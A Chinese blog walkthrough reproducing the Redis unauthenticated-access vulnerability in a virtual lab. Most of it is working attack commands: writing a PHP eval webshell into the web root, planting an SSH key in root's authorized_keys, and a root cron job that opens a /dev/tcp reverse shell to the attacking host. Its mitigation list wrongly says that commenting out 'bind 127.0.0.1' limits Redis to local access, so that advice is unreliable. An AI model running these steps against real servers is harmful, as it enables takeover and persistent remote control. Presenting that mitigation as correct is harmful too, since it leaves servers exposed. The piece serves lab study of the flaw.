redis未授权访问漏洞复现
注意:本文仅供学习交流使用,环境皆为虚拟环境,禁止用于任何非法用途,发生的任何事与本人无关!!!
小白一枚,如有错误请指正!!!
简单来说,就是没有设置相关防火墙规则,将redis服务暴露到公网上,并且未设置密码或为弱密码,导致攻击者利用redis进行一系列操作,到最后拿到服务器的权限。
实验思路介绍
两台装有reids的服务器,其中一台靶机存在redis未授权访问漏洞,另一台作为攻击机去验证并利用漏洞
实验环境
A:192.168.92.137,存在redis未授权访问漏洞,有web服务(http服务)
B:192.168.92.136
安装web服务
我使用的是一键安装,可以参考我之前部署lamp的文章,这里不多介绍
https://www.cnblogs.com/maohai-kdg/p/12995041.html
wget -c http://soft.vpser.net/lnmp/lnmp1.6.tar.gz && tar zxf lnmp1.6.tar.gz && cd lnmp1.6 && ./install.sh lamp
安装redis
可以参考我之前redis服务部署的文章,非常详细,这里不再多做介绍
https://www.cnblogs.com/maohai-kdg/p/11757328.html
https://www.cnblogs.com/maohai-kdg/p/13426831.html
配置redis未授权状态
redis装好后,修改redis.conf配置文件
vim /etc/local/redis/etc/redis.conf
a、注释bind 127.0.0.1
# bind 127.0.0.1
b、启用守护进程,可以在后台服务
daemonize yes
c、关闭保护模式,这样外网可以访问到
protected-mode no
如果有密码需设置为无密码状态,即,将密码设置为空密码状态
config set requirepass ''
远程连接验证
我们在136A服务器上将redis设置为未授权访问状态,现在,通过另一台服务器上的redis去验证是否能够连接到136A服务器上的redis,可以发现直接无账号成功登陆redis
redis-cli -h 192.168.92.137
从登陆的结果可以看出该redis服务对公网开放,且未启用认证
redis未授权访问利用
1.在web目录下写入一句话木马,通过菜刀连接
首先需要知道web的目录,由于是自己搭建的环境因此知道具体目录,这里假设通过其他方法知道了web服务器目录所在
config set dir /home/wwwroot/default/set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save
这里可以在137上的/home/wwwroot/default/目录下验证是否有webshell.php文件
好了,下面可以用菜刀连接了
可以看到已经连上了,其他操作就不用再说了吧
2.利用公私钥认证获取服务器root权限
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
在136中生成公钥和私钥
ssh-keygen -t rsa
进入.ssh目录:cd /root/.ssh/,将生成的公钥保存到1.txt
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
连接接靶机上的redis服务,将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入)
cat 1.txt | redis-cli -h 192.168.92.137 -x set crack
远程登录靶机的redis服务,使用config get dir命令得到redis备份的路径
redis-cli -h 192.168.92.137
config get dir
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys
config set dbfilename authorized_keys
config get dbfilename
save
exit
现在可以通过公钥连接了
3.利用crontab反弹shell
在攻击者服务器(136)上监听一个端口(未被占用的任意端口)
nc -lvnp 4444
连接redis,写入反弹shell
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.92.136/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
过一分钟就可以收到shell了
防御措施
1.修改redis.conf配置文件
只对本地开放,将bing127.0.0.1注释掉
#bind 127.0.0.1
2.在配置文件中添加redis服务密码
requirepass mypasswd
3.在需要对外开放的时候修改默认端口(端口不重复就可以)
port 2344
4.以低权限运行redis服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
5.配置防火墙策略
iptables -I INPUT -p TCP --dport 6379 -j DROP